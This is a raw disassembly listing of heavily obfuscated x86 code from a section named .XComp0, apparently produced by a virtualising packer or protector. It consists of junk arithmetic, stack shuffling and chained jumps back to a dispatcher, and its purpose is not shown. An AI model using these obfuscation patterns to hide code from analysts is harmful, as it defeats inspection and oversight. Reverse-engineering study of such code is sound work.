		push	ecx
		pushf
		jmp	loc_591A09
; ---------------------------------------------------------------------------


loc_58A76B:				; CODE XREF: .XComp0:005987DDj
		push	ecx
		mov	ecx, 39AE0845h
		or	ecx, 6197285Fh
		push	edi
		mov	edi, 1C2C2F1Ah
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 76C5041Ah
		push	edx
		mov	edx, 0D02B0C99h
		add	ecx, edx
		pop	edx
		jmp	loc_58782B
; ---------------------------------------------------------------------------


loc_58A799:				; CODE XREF: .XComp0:00590105j
		pop	ecx
		xor	bh, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	bh, 1
		push	ebx
		dec	byte ptr [esp+1]
		pop	ebx
		jmp	loc_586FE8
; ---------------------------------------------------------------------------


loc_58A7B1:				; CODE XREF: .XComp0:0058D8C8j
		mov	ebp, 7C7738B0h
		shr	ebp, 4
		jmp	loc_5989EB
; ---------------------------------------------------------------------------


loc_58A7BE:				; CODE XREF: .XComp0:0058A56Aj
		mov	esi, 569E07D8h
		jmp	loc_58855F
; ---------------------------------------------------------------------------


loc_58A7C8:				; CODE XREF: .XComp0:0058B7B0j
		xor	bh, 0DDh
		push	eax
		jmp	loc_58D724
; ---------------------------------------------------------------------------


loc_58A7D1:				; CODE XREF: .XComp0:0059789Dj
		add	edi, 1
		push	ebx
		push	7532h
		jmp	loc_58ED39
; ---------------------------------------------------------------------------


loc_58A7E2:				; CODE XREF: .XComp0:00592AB3j
		push	ecx
		jmp	loc_591C87
; ---------------------------------------------------------------------------


loc_58A7E8:				; CODE XREF: .XComp0:0058D6FBj
		push	edx
		mov	edx, 376D77B3h
		shl	edx, 4
		push	eax
		push	ebp
		push	7A3B39D1h
		pop	ebp
		add	ebp, 0FC47C919h
		mov	eax, ebp
		jmp	loc_593777
; ---------------------------------------------------------------------------


loc_58A806:				; CODE XREF: .XComp0:00592C2Dj
		mov	eax, 7475B53h
		jmp	loc_58EF63
; ---------------------------------------------------------------------------


loc_58A810:				; CODE XREF: .XComp0:00585068j
		pop	edx
		add	ecx, 3C200CECh
		xor	ecx, 3E543D75h
		add	ecx, 0BF6BEE75h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	27DDh
		mov	[esp], esi
		push	75DCh
		mov	[esp], eax
		mov	eax, 7B8129E6h
		mov	esi, 0F04B7F60h
		sub	esi, eax
		jmp	loc_5955A4
; ---------------------------------------------------------------------------


loc_58A84C:				; CODE XREF: .XComp0:00591AF9j
		add	ebx, 8F0FC734h
		jmp	loc_586E04
; ---------------------------------------------------------------------------


loc_58A857:				; CODE XREF: .XComp0:00587794j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_586A7D
; ---------------------------------------------------------------------------


loc_58A868:				; CODE XREF: .XComp0:00585B86j
		xor	edi, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_58BE71
; ---------------------------------------------------------------------------


loc_58A874:				; CODE XREF: .XComp0:0058B5BFj
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		jmp	loc_592552
; ---------------------------------------------------------------------------


loc_58A884:				; CODE XREF: .XComp0:00596147j
		mov	dh, 0C8h
		sub	dh, 7Eh
		sub	ch, dh
		jmp	loc_58C1F4
; ---------------------------------------------------------------------------


loc_58A890:				; CODE XREF: .XComp0:00595ED6j
		add	esp, 2
		push	4E79h
		jmp	loc_590EB2
; ---------------------------------------------------------------------------


loc_58A8A0:				; CODE XREF: .XComp0:0058E9A8j
		mov	[esp], ebp
		jmp	loc_597C8F
; ---------------------------------------------------------------------------


loc_58A8A8:				; CODE XREF: .XComp0:0058DEECj
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		push	esi
		push	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		push	eax
		mov	eax, 6ADE7477h
		mov	esi, 792F8BCCh
		sub	esi, eax
		pop	eax
		add	esi, 1
		push	ebx
		mov	ebx, 0F1AEE8AEh
		add	esi, ebx
		pop	ebx
		jmp	loc_5918A2
; ---------------------------------------------------------------------------


loc_58A8DD:				; CODE XREF: .XComp0:005843BDj
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58A8ED:				; CODE XREF: .XComp0:00597A30j
		push	esp
		pop	edx
		jmp	loc_596550
; ---------------------------------------------------------------------------


loc_58A8F4:				; CODE XREF: .XComp0:005897D7j
		push	492Fh
		jmp	loc_58A5F9
; ---------------------------------------------------------------------------


loc_58A8FE:				; CODE XREF: .XComp0:00584366j
		xor	ecx, 0C6DD8C45h
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_592B08
; ---------------------------------------------------------------------------


loc_58A912:				; CODE XREF: .XComp0:0058C10Dj
		push	edx
		mov	dh, ah
		mov	bl, dh
		pop	edx
		jmp	loc_596B12
; ---------------------------------------------------------------------------


loc_58A91D:				; CODE XREF: .XComp0:0058A5F4j
		not	ebp
		shl	ebp, 4
		jmp	loc_5932DC
; ---------------------------------------------------------------------------


loc_58A927:				; CODE XREF: .XComp0:00598831j
		not	edi
		xchg	edi, ebp
		push	134Ah
		jmp	loc_588599
; ---------------------------------------------------------------------------


loc_58A935:				; CODE XREF: .XComp0:0058FCE6j
		push	271Eh
		mov	[esp], edi
		push	eax
		mov	eax, 5EE40257h
		shl	eax, 4
		jmp	loc_595C07
; ---------------------------------------------------------------------------


loc_58A94B:				; CODE XREF: .XComp0:0058B9CCj
		pop	esp
		jmp	loc_598ED1
; ---------------------------------------------------------------------------


loc_58A951:				; CODE XREF: .XComp0:0058C763j
		pop	esi
		add	edi, 2
		jmp	loc_583FAB
; ---------------------------------------------------------------------------


loc_58A95D:				; CODE XREF: .XComp0:0059177Fj
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_585669
; ---------------------------------------------------------------------------


loc_58A96A:				; CODE XREF: .XComp0:00590BF9j
		add	ebx, 49150005h
		xor	ebx, 0E6D3DB8h
		sub	ebx, 1
		push	eax
		mov	eax, 2F418E9h
		jmp	loc_592C29
; ---------------------------------------------------------------------------


loc_58A987:				; CODE XREF: .XComp0:005891BEj
		push	ebx
		sub	esp, 4
		jmp	loc_588113
; ---------------------------------------------------------------------------


loc_58A990:				; CODE XREF: .XComp0:0058AA86j
		mov	[esp], edx
		mov	dl, 0EBh
		jmp	loc_5959F0
; ---------------------------------------------------------------------------


loc_58A99A:				; CODE XREF: .XComp0:00587327j
		mov	esi, 59050285h
		push	esi
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 6E4E3077h
		sub	edi, 4A30E2EEh
		or	eax, edi
		pop	edi
		jmp	loc_5930FD
; ---------------------------------------------------------------------------


loc_58A9BB:				; CODE XREF: .XComp0:00588B59j
		add	ebx, esi
		sub	ebx, 59EC4F6Fh
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_595592
; ---------------------------------------------------------------------------


loc_58A9CF:				; CODE XREF: .XComp0:005876E0j
		pop	ecx
		push	4EEAh
		mov	[esp], edx
		push	ecx
		mov	ch, 64h
		shr	ch, 6
		xor	ch, 0Bh
		add	ch, 0Ah
		mov	dl, ch
		pop	ecx
		add	dl, 0FFh
		not	dl
		xor	dl, 19h
		jmp	loc_594CC1
; ---------------------------------------------------------------------------


loc_58A9F4:				; CODE XREF: .XComp0:0058C479j
		push	dword ptr [edi+eax*4]
		push	ebp
		push	400A2C47h
		pop	ebp
		jmp	loc_5896B4
; ---------------------------------------------------------------------------


loc_58AA03:				; CODE XREF: .XComp0:00591055j
		sub	al, dh
		jmp	loc_5934E5
; ---------------------------------------------------------------------------


loc_58AA0A:				; CODE XREF: .XComp0:00597E21j
		sub	edx, 7CA00DFEh
		add	edx, ecx
		push	ebp
		mov	ebp, 7CA00DFEh
		add	edx, 5E222FDBh
		add	edx, ebp
		sub	edx, 5E222FDBh
		pop	ebp
		push	3098h
		mov	[esp], esi
		push	ebx
		mov	ebx, 2CE55C4Ch
		mov	esi, ebx
		pop	ebx
		inc	esi
		shr	esi, 7
		neg	esi
		and	esi, 49981529h
		sub	esi, 71FF78h
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, [edx]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59346B
; ---------------------------------------------------------------------------


loc_58AA62:				; CODE XREF: .XComp0:0058F7A5j
		mov	[esp], ecx
		mov	ch, 0D9h
		mov	dh, 0A6h
		xor	dh, ch
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	738Dh
		jmp	loc_58A990
; ---------------------------------------------------------------------------


loc_58AA8B:				; CODE XREF: .XComp0:00588437j
		and	esi, 4B4B1BC0h
		neg	esi
		dec	esi
		sub	esi, 4057E696h
		sub	ecx, esi
		pop	esi
		sub	ecx, 4D9A79B1h
		add	ecx, edx
		add	ecx, 4D9A79B1h
		add	ecx, 7D5D1069h
		mov	edx, [esp]
		add	esp, 4
		push	2FBCh
		mov	[esp], esi
		mov	esi, 2
		add	ecx, 2E4653BBh
		add	ecx, esi
		sub	ecx, 2E4653BBh
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		jmp	loc_58EEFC
; ---------------------------------------------------------------------------


loc_58AAE5:				; CODE XREF: .XComp0:00588385j
		mov	[esp], esi
		push	edx
		push	ebp
		push	ebx
		jmp	loc_5858E3
; ---------------------------------------------------------------------------


loc_58AAF0:				; CODE XREF: .XComp0:00595A4Aj
		pop	eax
		sub	edx, 29BE63AAh
		add	edx, 4BA12C66h
		add	edx, edi
		jmp	loc_589175
; ---------------------------------------------------------------------------


loc_58AB04:				; CODE XREF: .XComp0:0058D0D2j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 35585989h
		shl	ecx, 7
		push	edx
		mov	edx, 20CB24D6h
		xor	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		jmp	loc_58D4F1
; ---------------------------------------------------------------------------


loc_58AB27:				; CODE XREF: .XComp0:005880F2j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 6C28589Ah
		not	eax
		push	esi
		push	ebx
		push	40DF3F76h
		jmp	loc_5943BA
; ---------------------------------------------------------------------------


loc_58AB41:				; CODE XREF: .XComp0:00597A7Fj
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_5886DF
; ---------------------------------------------------------------------------


loc_58AB68:				; CODE XREF: .XComp0:0059198Fj
		sub	cl, dh
		jmp	loc_598932
; ---------------------------------------------------------------------------


loc_58AB6F:				; CODE XREF: .XComp0:00594B48j
		shl	ecx, 2
		xor	ecx, 7E9077A6h
		jmp	loc_594264
; ---------------------------------------------------------------------------


loc_58AB7D:				; CODE XREF: .XComp0:0058DD81j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58AB82:				; CODE XREF: .XComp0:00593852j
		pop	esp
		shl	eax, cl
		push	37F6h
		jmp	loc_58722F
; ---------------------------------------------------------------------------


loc_58AB8F:				; CODE XREF: .XComp0:005877B0j
		inc	ebx
		xor	ebx, 0AE15A0F2h
		add	edx, ebx
		pop	ebx
		jmp	loc_58449F
; ---------------------------------------------------------------------------


loc_58AB9E:				; CODE XREF: .XComp0:0058E44Aj
		mov	eax, [esp]
		add	esp, 4
		sub	eax, edx
		pop	edx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_590AE3
; ---------------------------------------------------------------------------


loc_58ABB0:				; CODE XREF: .XComp0:0058476Dj
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_58E993
; ---------------------------------------------------------------------------


loc_58ABBB:				; CODE XREF: .XComp0:0059027Ej
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58ABCF:				; CODE XREF: .XComp0:0058A6B1j
		mov	[esp], edx
		push	esp
		jmp	loc_58630E
; ---------------------------------------------------------------------------


loc_58ABD8:				; CODE XREF: .XComp0:00595102j
		pop	esi
		jmp	loc_59339F
; ---------------------------------------------------------------------------


loc_58ABDE:				; CODE XREF: .XComp0:00588780j
		add	ecx, eax
		push	74h
		mov	[esp], ebp
		mov	ebp, 1B1C290Dh
		push	edi
		push	42AE7CAAh
		pop	edi
		not	edi
		shl	edi, 4
		jmp	loc_58B581
; ---------------------------------------------------------------------------


loc_58ABFE:				; CODE XREF: .XComp0:00590839j
		pop	eax
		push	dword ptr [esp]
		jmp	loc_584982
; ---------------------------------------------------------------------------


loc_58AC07:				; CODE XREF: .XComp0:00587E80j
		push	ecx
		mov	ecx, 55834DA1h
		jmp	loc_593136
; ---------------------------------------------------------------------------


loc_58AC12:				; CODE XREF: .XComp0:0059527Fj
		not	edx
		sub	edx, 0D07C860Eh
		jmp	loc_584B77
; ---------------------------------------------------------------------------


loc_58AC1F:				; CODE XREF: .XComp0:0058C143j
		sub	edi, 6F21408Eh
		sub	edi, 4AEB0379h
		jmp	loc_58593F
; ---------------------------------------------------------------------------


loc_58AC30:				; CODE XREF: .XComp0:0059817Cj
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58AC46:				; CODE XREF: .XComp0:00589E50j
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_589AEE
; ---------------------------------------------------------------------------


loc_58AC62:				; CODE XREF: .XComp0:00588826j
		inc	eax
		or	eax, 76F50823h
		jmp	loc_597FA0
; ---------------------------------------------------------------------------


loc_58AC6D:				; CODE XREF: .XComp0:00589D44j
		pop	ax
		sub	ch, bh
		sub	ch, 15h
		jmp	loc_584220
; ---------------------------------------------------------------------------


loc_58AC79:				; CODE XREF: .XComp0:00591447j
		push	ebp
		mov	ebp, 17C0F59h
		sub	eax, 3DE174B2h
		add	eax, ebp
		add	eax, 3DE174B2h
		pop	ebp
		xor	eax, 3B7552C5h
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		shl	ebx, 2
		push	esi
		mov	esi, 4BA46371h
		sub	ebx, esi
		jmp	loc_586BC3
; ---------------------------------------------------------------------------


loc_58ACA9:				; CODE XREF: .XComp0:0059752Dj
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_592AF0
; ---------------------------------------------------------------------------


loc_58ACB5:				; CODE XREF: .XComp0:00593338j
		push	ebp
		mov	ebp, 45A77918h
		sub	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 41E07B37h
		sub	ebx, 29F27447h
		sub	ebx, edx
		jmp	loc_594F86
; ---------------------------------------------------------------------------


loc_58ACD1:				; CODE XREF: .XComp0:00591D37j
		pop	edx
		xor	edx, 58C533B8h
		dec	edx
		add	edx, 0E7500890h
		mov	eax, edx
		pop	edx
		neg	eax
		not	eax
		xor	eax, 26A0741Fh
		xor	esi, eax
		pop	eax
		push	edx
		jmp	loc_58D7E2
; ---------------------------------------------------------------------------


loc_58ACF4:				; CODE XREF: .XComp0:00588FDAj
		inc	byte ptr [esp]
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58ACFD:				; CODE XREF: .XComp0:0059305Bj
		pop	esp
		jmp	loc_587813
; ---------------------------------------------------------------------------


loc_58AD03:				; CODE XREF: .XComp0:0058F3BFj
		pop	eax
		pop	ebx
		pop	ecx


loc_58AD06:				; CODE XREF: .XComp0:0058B315j
		sub	esp, 4
		jmp	loc_58D9EB
; ---------------------------------------------------------------------------


loc_58AD0E:				; CODE XREF: .XComp0:0058BF31j
		push	ebp
		mov	ebp, 1A4D5733h
		add	ecx, ebp
		pop	ebp
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		sub	edx, 69CD2B8Ah
		jmp	loc_584055
; ---------------------------------------------------------------------------


loc_58AD2E:				; CODE XREF: .XComp0:0059145Ej
		push	ecx
		mov	ecx, 348D520Bh
		jmp	loc_589D2D
; ---------------------------------------------------------------------------


loc_58AD39:				; CODE XREF: .XComp0:0058EBF0j
		add	esp, 4
		sub	edx, 196E1341h
		push	ecx
		mov	ecx, 2A0A7E79h
		xor	ecx, 3FFF6E0Ah
		xchg	edi, ecx
		not	edi
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 0ABB2F2B3h
		push	7AB6h
		mov	[esp], ecx
		mov	ecx, 209F15DCh
		add	edx, 97C3F98h
		sub	edx, ecx
		sub	edx, 97C3F98h
		pop	ecx
		add	edx, ecx
		push	48EEh
		mov	[esp], esi
		mov	esi, 2A703729h
		xor	esi, 0AEF22F5h
		sub	edx, 61CD0B80h
		add	edx, esi
		push	edi
		mov	edi, 61CD0B80h
		sub	edx, 49ED0BCAh
		add	edx, edi
		add	edx, 49ED0BCAh
		pop	edi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, eax
		sub	edx, 41B81D3Eh
		push	75C5h
		mov	[esp], edi
		mov	edi, 196E1341h
		push	esi
		mov	esi, 23170F85h
		dec	esi
		not	esi
		dec	esi
		xor	esi, 0EA348AB1h
		sub	edx, esi
		pop	esi
		jmp	loc_58FA2E
; ---------------------------------------------------------------------------


loc_58ADE6:				; CODE XREF: .XComp0:00589049j
		mov	ebx, 0
		sub	ebx, 7A2213B7h
		sub	ebx, 3454946h
		push	esi
		push	ecx
		mov	ecx, 7424013h
		mov	esi, ecx
		pop	ecx
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, ecx
		add	ebx, 7424013h
		add	ebx, 3454946h
		add	ebx, 7A2213B7h
		push	ecx
		mov	cl, al
		mov	[ebx], cl
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_587170
; ---------------------------------------------------------------------------


loc_58AE35:				; CODE XREF: .XComp0:005950E7j
		pop	ebp
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58AE3B:				; CODE XREF: .XComp0:00591119j
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_591307
; ---------------------------------------------------------------------------


loc_58AE49:				; CODE XREF: .XComp0:00587574j
		push	ebp
		jmp	loc_585BEF
; ---------------------------------------------------------------------------


loc_58AE4F:				; CODE XREF: .XComp0:005962C3j
		mov	esi, 605E1FD7h
		xor	esi, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_58EC51
; ---------------------------------------------------------------------------


loc_58AE71:				; CODE XREF: .XComp0:00596A46j
		pop	ecx
		jmp	loc_592638
; ---------------------------------------------------------------------------


loc_58AE77:				; CODE XREF: .XComp0:0058B6FFj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5987F0
; ---------------------------------------------------------------------------


loc_58AE84:				; CODE XREF: .XComp0:0058BD8Ej
		xor	ebx, ecx
		pop	ecx
		sub	edi, 3FE42D13h
		sub	edi, ebx
		push	ebx
		mov	ebx, 62965EDCh
		dec	ebx
		jmp	loc_58A63E
; ---------------------------------------------------------------------------


loc_58AE9B:				; CODE XREF: .XComp0:005955DCj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_58D66A
; ---------------------------------------------------------------------------


loc_58AEC1:				; CODE XREF: .XComp0:0058414Fj
		xor	ch, 0D1h
		xor	ch, 93h
		push	dx
		mov	dh, 1
		add	ch, dh
		pop	dx
		push	ebx
		mov	bh, 6Bh
		and	bh, 3Eh
		push	eax
		sub	esp, 4
		jmp	loc_590BCA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1BD3h
		mov	[esp], eax
		mov	eax, esp
		push	3279h
		mov	[esp], ecx
		jmp	loc_589778
; ---------------------------------------------------------------------------


loc_58AEF9:				; CODE XREF: .XComp0:00598CD3j
		pop	ax
		sub	cl, 2Ch
		sub	bh, 30h
		add	bh, cl
		add	bh, 30h
		push	dword ptr [esp]
		jmp	loc_59161E
; ---------------------------------------------------------------------------


loc_58AF0E:				; CODE XREF: .XComp0:00589DD3j
		mov	esi, esp
		sub	esp, 4
		jmp	loc_590E02
; ---------------------------------------------------------------------------


loc_58AF1B:				; CODE XREF: .XComp0:005889CFj
		add	esp, 4
		jmp	loc_59139D
; ---------------------------------------------------------------------------


loc_58AF23:				; CODE XREF: .XComp0:00597913j
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_58FE1A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_589FBB
; ---------------------------------------------------------------------------


loc_58AF42:				; CODE XREF: .XComp0:00595218j
		dec	bh
		push	ecx
		mov	ch, 36h
		or	ch, 90h
		jmp	loc_5900D1
; ---------------------------------------------------------------------------


loc_58AF4F:				; CODE XREF: .XComp0:0058D322j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 71052592h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58AF70:				; CODE XREF: .XComp0:00584706j
		pop	esp
		mov	[esp], eax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58AF79:				; CODE XREF: .XComp0:00597A8Fj
		pop	eax
		pop	ebp
		add	ebx, esi
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_591CFC
; ---------------------------------------------------------------------------


loc_58AF92:				; CODE XREF: .XComp0:005948A0j
		mov	esp, [esp]
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_58F33D
; ---------------------------------------------------------------------------


loc_58AFAB:				; CODE XREF: .XComp0:00597C97j
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_588339
; ---------------------------------------------------------------------------


loc_58AFB9:				; CODE XREF: .XComp0:00589D57j
		add	[esp+4], esi
		pop	esi
		jmp	loc_584810
; ---------------------------------------------------------------------------


loc_58AFC3:				; CODE XREF: .XComp0:00588684j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58CD05
; ---------------------------------------------------------------------------


loc_58AFD7:				; CODE XREF: .XComp0:00590543j
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_58CB34
; ---------------------------------------------------------------------------


loc_58AFE5:				; CODE XREF: .XComp0:0058CA22j
		pop	ebx
		pop	eax
		add	edi, 795A6F22h
		add	edi, edx
		jmp	loc_58F25D
; ---------------------------------------------------------------------------


loc_58AFF4:				; CODE XREF: .XComp0:00584A9Aj
		sub	[esp+4], ebp
		jmp	loc_5898E0
; ---------------------------------------------------------------------------


loc_58AFFD:				; CODE XREF: .XComp0:0058EDE0j
		add	eax, 73794D8Bh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6B301267h
		add	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_591118
; ---------------------------------------------------------------------------


loc_58B019:				; CODE XREF: .XComp0:00594A1Fj
		add	ebp, 0C746A45h
		jmp	loc_583B13
; ---------------------------------------------------------------------------


loc_58B024:				; CODE XREF: .XComp0:00597EBCj
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		push	dx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dh, 79h
		mov	ah, dh
		mov	edx, [esp]
		add	esp, 4
		add	ah, 0BDh
		sub	ah, 1
		push	5053h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_588391
; ---------------------------------------------------------------------------


loc_58B064:				; CODE XREF: .XComp0:005850A0j
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_59684C
; ---------------------------------------------------------------------------


loc_58B072:				; CODE XREF: .XComp0:0058939Dj
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5951A3
; ---------------------------------------------------------------------------


loc_58B081:				; CODE XREF: .XComp0:005860A3j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_597AE8
; ---------------------------------------------------------------------------


loc_58B0A0:				; CODE XREF: .XComp0:00595243j
		div	ecx
		jmp	loc_59056B
; ---------------------------------------------------------------------------


loc_58B0A7:				; CODE XREF: .XComp0:005922C9j
		mov	edx, 0FBD1CCAEh
		add	edx, 53923F84h
		add	edx, ecx
		sub	edx, 53923F84h
		pop	ecx
		add	[esp+4], edx
		mov	edx, [esp]
		jmp	loc_584B2C
; ---------------------------------------------------------------------------


loc_58B0C7:				; CODE XREF: .XComp0:0058C484j
		mov	ecx, [esp]
		jmp	loc_58F335
; ---------------------------------------------------------------------------


loc_58B0CF:				; CODE XREF: .XComp0:00586665j
		push	esi
		jmp	loc_58B176
; ---------------------------------------------------------------------------


loc_58B0D5:				; CODE XREF: .XComp0:0058B6E4j
		mov	[esp], edx
		jmp	loc_5912F5
; ---------------------------------------------------------------------------


loc_58B0DD:				; CODE XREF: .XComp0:00586372j
		sub	ebp, 42F148EFh
		add	ebp, ebx
		push	eax
		jmp	loc_588806
; ---------------------------------------------------------------------------


loc_58B0EB:				; CODE XREF: .XComp0:00586998j
		add	edi, 4
		jmp	loc_588A5A
; ---------------------------------------------------------------------------


loc_58B0F6:				; CODE XREF: .XComp0:00591933j
		add	ebx, edx
		pop	edx
		add	ebx, 7D2501Ch
		push	small word ptr [eax]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58B107:				; CODE XREF: .XComp0:0058DB08j
		mov	esp, [esp]
		jmp	loc_591083
; ---------------------------------------------------------------------------


loc_58B10F:				; CODE XREF: .XComp0:005846C0j
		add	eax, 3BAF1F74h
		pop	ebx
		jmp	loc_58DB8A
; ---------------------------------------------------------------------------


loc_58B11A:				; CODE XREF: .XComp0:00590522j
		add	esp, 4
		jmp	loc_595113
; ---------------------------------------------------------------------------


loc_58B122:				; CODE XREF: .XComp0:00594EC9j
		add	ebx, edi
		pop	edi
		jmp	loc_58E8A4
; ---------------------------------------------------------------------------


loc_58B12A:				; CODE XREF: .XComp0:0058DA28j
		and	edi, ecx
		pop	ecx
		push	eax
		mov	eax, 6C591146h
		add	eax, 6AFF5E70h
		sub	eax, 1
		jmp	loc_58E16E
; ---------------------------------------------------------------------------


loc_58B140:				; CODE XREF: .XComp0:00597F5Fj
		push	edx
		mov	edx, 31F87A9Eh
		sub	edi, edx
		jmp	loc_58D97F
; ---------------------------------------------------------------------------


loc_58B14D:				; CODE XREF: .XComp0:00593FC6j
		pop	ebx
		push	ecx
		push	2
		jmp	loc_58DE9E
; ---------------------------------------------------------------------------


loc_58B159:				; CODE XREF: .XComp0:00598AB2j
		add	esp, 4
		add	esp, 4
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 43A32B4Fh
		jmp	loc_597CA7
; ---------------------------------------------------------------------------


loc_58B176:				; CODE XREF: .XComp0:0058B0D0j
		mov	esi, 49C94375h
		push	4874h
		mov	[esp], ebp
		jmp	loc_58C2F7
; ---------------------------------------------------------------------------


loc_58B188:				; CODE XREF: .XComp0:00597FC4j
		neg	ecx
		jmp	loc_5875A3
; ---------------------------------------------------------------------------
		lodsb
		push	cx
		mov	ch, 0ABh
		sub	al, ch
		pop	cx
		sub	al, 0F5h
		sub	esp, 4
		jmp	loc_589C3F
; ---------------------------------------------------------------------------


loc_58B1A2:				; CODE XREF: .XComp0:0058E526j
		add	eax, 0FA152FDh
		xor	eax, 9F7AB48Fh
		jmp	loc_598BB3
; ---------------------------------------------------------------------------


loc_58B1B1:				; CODE XREF: .XComp0:00595E93j
		xor	ecx, 58D536DDh
		mov	ebx, ecx
		jmp	loc_592F5E
; ---------------------------------------------------------------------------


loc_58B1BE:				; CODE XREF: .XComp0:00585640j
		pop	eax
		push	4757h
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 750149B9h
		push	ebp
		mov	ebp, 27D40015h
		sub	ebp, 0FF0EEEE2h
		sub	eax, ebp
		pop	ebp
		and	eax, 31FA4ED2h
		xor	eax, 380886h
		jmp	loc_597469
; ---------------------------------------------------------------------------


loc_58B1F5:				; CODE XREF: .XComp0:00591EAFj
		sub	esp, 4
		mov	[esp], edx
		push	edi
		jmp	loc_58BD34
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		push	ecx
		push	eax
		jmp	loc_58C023
; ---------------------------------------------------------------------------


loc_58B20D:				; CODE XREF: .XComp0:0058EE3Ej
		shl	edi, 2
		sub	edi, 4FDBC2F9h
		sub	edx, edi
		jmp	loc_585B98
